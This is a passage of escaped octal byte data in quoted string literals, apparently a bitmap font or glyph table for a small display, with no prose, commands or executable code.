\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\377\\377\\377\\377\\300\\0\\0\\0\\0\\340\\376\\377\\377\\370\\200\\0\\0\\0\\200\\377\"\n  \"\\377\\377\\377\\3\\3\\377\\377\\377\\377\\360\\0\\360\\377\\377\\77\\7\\177\\377\\377\\374\\300\\200\\377\\377\\377\\77\\0\\0\\0\\0\\77\\377\"\n  \"\\377\\377\\377\\377\\77\\3\\0\\0\\0\\7\\177\\377\\377\\377\\377\\377\\17\\0\\0\\0\\0\\0\\0\\17\\77\\77\\77\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\7\\77\\77\\77\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\0\\0\\0\\1\\7\\37\"\n  \"\\177\\377\\376\\370\\360\\300\\0\\0\\200\\340\\370\\376\\377\\177\\37\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\217\\377\\377\\377\\376\"\n  \"\\377\\377\\337\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\177\\37\\7\\7\\17\\77\\377\\377\\374\\360\\340\\200\"\n  \"\\0\\0\\0\\0\\60<\\77\\77\\77\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\77\\77>\\70\\60\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\0\\1\\7\\37\\177\\377\\377\\374\\360\\300\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\77\"\n  \"\\17\\3\\0\\0\\0\\0\\0\\0\\1\\7\\37\\177\\377\\377\\374\\360\\370\\376\\377\\177\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\"\n  \"\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\3\\3\\3\"\n  \"\\3\\3\\3\\3\\3\\3\\3\\3\\3\\303\\343\\373\\377\\377\\177\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\376\"\n  \"\\377\\177\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\376\\377\\177\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0<>\\77\\77\\77\\77\\77<<<<<<<<<<<<<>>\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\360\\360\\360\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\0\\0\\0\\0\\0`\\340\\360\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\"\n  \"\\37\\377\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\376\"\n  \"\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\376\\360\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\37\\177\\377\\377|p\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\360\\360\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\200\\200\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\200\\340\\360\\374\\376\\77\\37\\177\\376\\374\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\14\\37\\37\\37\\7\\3\\0\\0\\0\"\n  \"\\0\\1\\7\\37\\37\\37\\16\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\7\\0\\0\\0\\0\\0\\0\\370\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\37\\77\\377\\377\\376\\370\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\77\"\n  \"\\177\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\2\\7\\17\\217\\207\\207\\303\\303\\303\\303\\303\\303\\307\\317\\377\\377\\377\\376\\370\\0\\0\\0\\370\\374\\376\\377\"\n  \"\\377\\217\\17\\7\\7\\7\\7\\7\\3\\203\\203\\343\\377\\377\\377\\377\\377\\0\\0\\0\\1\\3\\7\\17\\17\\37\\37\\37\\37\\36\\37\\37\"\n  \"\\17\\17\\17\\7\\37\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377>\\17\\17\\7\\7\\7\"\n  \"\\7\\7\\17\\17\\37\\377\\377\\376\\374\\360\\300\\0\\0\\377\\377\\377\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\"\n  \"\\377\\377\\77\\0\\0\\77\\77\\77\\77\\7\\17\\37\\36>><>>>\\77\\37\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\300\\370\\374\\376\\377\\77\\37\\17\\7\\3\\3\\3\\3\\3\\3\\7\\7\\17\\77\\37\\16\\4\\0\\0\\37\\177\\377\"\n  \"\\377\\377\\360\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\17\\17\\17\\37\\37\"\n  \"\\37\\36\\37\\37\\37\\17\\17\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\20\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\300\\370\\374\\376\\377\\177\\37\\17\\7\\7\\7\\7\"\n  \"\\7\\17\\37>\\377\\377\\377\\377\\377\\0\\0\\0\\77\\377\\377\\377\\377\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\1\\3\\17\\17\\37\\37\\77>><>>\\36\\37\\17\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\300\\200\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\360\\370\\376\\376\\277\\237\\217\\207\\207\\207\\207\\207\\207\\217\\217\\237\\377\\376\\374\\370\\340\\0\\0\\77\\377\\377\\377\"\n  \"\\377\\347\\207\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\207\\7\\7\\7\\0\\0\\0\\1\\3\\7\\17\\17\\37\\37>>>>\"\n  \"<>>>\\37\\37\\17\\17\\6\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360\\360\\360\\360\\360\\360\\360\\360\\360\\340\\300\\300\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\376\\377\\377\\377\\377\\3\\1\\0\\0\\0\\0\\0\\1\\3\\7\\7\\1\\0\\0\\17\\17\\17\\17\\17\\377\\377\\377\\377\\377\\17\"\n  \"\\17\\17\\17\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\300\\200\\200\\200\\200\\0\\0\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\0\\360\\374\\376\\377\\377\\17\\7\\3\\3\\3\\3\\3\\7\\17\\377\\377\\377\\377\\347\\7\\7\\7\\7\\0\\3\\207\\317\"\n  \"\\377\\377\\177~||x||~\\77\\77\\37\\17\\7\\3\\0\\0\\0\\0\\200\\340\\347\\377\\377\\177>\\36\\36\\36\\36\\36\"\n  \"\\36\\36\\36>>>\\374\\374\\374\\370\\340\\0\\7\\17\\37\\77\\77>||||xx||||<>\\77\\37\"\n  \"\\17\\7\\1\\0\\0\\360\\360\\360\\360\\360\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377~\\36\\17\\17\\7\\7\"\n  \"\\7\\7\\17\\37\\377\\377\\376\\374\\360\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\"\n  \"\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\201\\203\\207\\207\\207\\203\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<<<<<<\\77\\77\\77\"\n  \"\\77\\77<<<<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\200\\200\\200\\200\\200\\200\\200\\201\\203\\207\\207\\207\\203\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\14\\36\\37\\77\"\n  \">|||x||>\\77\\77\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\20\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\377\\377\\377\\377\\377\\0\\200\\300\\300\\340\\360\\370|>\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\37\\17\\7\\17\\37\\177\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\3\\7\\37\\77\\77><\\70\\60 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0<<<<<<<\\77\\77\\77\\77\\77<<<<<<<\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\200\\300\\300\\300\\300\\300\\300\\200\\0\\200\\300\\300\\300\\300\\300\"\n  \"\\300\\200\\0\\0\\377\\377\\377\\377\\377\\17\\3\\3\\3\\377\\377\\377\\377\\377\\17\\3\\3\\3\\377\\377\\377\\377\\377\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\37\\37\\37\\37\\37\\0\\0\\0\\0\\37\\37\\37\"\n  \"\\37\\37\\0\\0\\0\\0\\37\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\77\\17\\7\\7\\3\\3\"\n  \"\\3\\3\\7\\17\\377\\377\\377\\376\\370\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\37\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\370\\374\\376\\377\\77\\17\\7\\7\\3\\3\\3\\3\\3\\7\\7\\37\\177\\377\\377\\374\\370\\300\\0\\37\\177\\377\\377\"\n  \"\\377\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\377\\377\\377\\177\\37\\0\\0\\0\\1\\3\\7\\7\\17\\17\\37\\37\\37\\36\"\n  \"\\37\\37\\37\\17\\17\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\200\\200\\200\\300\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377>\\17\\17\\7\\7\\7\"\n  \"\\7\\7\\17\\17\\37\\377\\377\\376\\374\\360\\300\\0\\0\\377\\377\\377\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\"\n  \"\\377\\377\\77\\0\\0\\377\\377\\377\\377\\377\\17\\37\\36\\36><>>>\\77\\37\\37\\17\\7\\3\\1\\0\\0\\0\\177\\177\\177\"\n  \"\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\0\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\340\\370\\376\\377\\377\\77\\17\\7\\7\\3\\3\\3\\3\\3\\7\\17\\37\\377\\377\\377\\377\\377\\0\\0\\37\\377\\377\\377\"\n  \"\\377\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\\377\\377\\377\\0\\0\\0\\0\\1\\3\\7\\17\\17\\37\\37\\37\\37\\36\"\n  \"\\37\\17\\17\\7\\7\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\"\n  \"\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\"\n  \"\\300\\300\\300\\300\\0\\0\\200\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\177\\37\\17\\7\"\n  \"\\7\\3\\3\\3\\3\\3\\7\\17\\37\\7\\1\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0<\\177\\377\\377\\377\\347\\307\\303\\203\\203\\203\\203\\7\\7\\17\\77\\37\\17\\2\\0\\0\\0\\0\\200\\340\\340\"\n  \"\\300\\201\\1\\3\\3\\3\\7\\7\\7\\7\\17\\237\\377\\376\\374\\374\\360\\0\\0\\0\\1\\3\\7\\7\\17\\17\\17\\37\\37\\37\\36\\37\"\n  \"\\37\\37\\37\\17\\17\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\"\n  \"\\200\\200\\200\\376\\376\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\377\\377\\377\\377\\377\\7\"\n  \"\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\37\\77\\77>><>>\\36\\37\\17\\16\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\"\n  \"\\200\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\3\\17\\17\\37\\37\\77>><>\"\n  \">\\36\\37\\17\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\1\\17\\77\\377\\377\\376\\370\\300\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\200\\360\\376\\377\\377\\37\\7\\0\\0\\0\\0\\0\\0\\7\\37\\377\\377\\377\\370\\340\\0\\300\\370\\376\\377\\77\\17\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\77\\77\\77\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\"\n  \"\\200\\200\\200\\0\\377\\377\\377\\360\\0\\0\\0\\0\\340\\376\\376\\376\\376\\360\\200\\0\\0\\0\\377\\377\\377\\377\\37\\0\\7\\177\\377\\377\"\n  \"\\377\\340\\340\\376\\377\\77\\7\\7\\77\\377\\377\\370\\300\\374\\377\\377\\377\\7\\0\\0\\0\\0\\17\\77\\77\\77\\77\\37\\3\\0\\0\\0\"\n  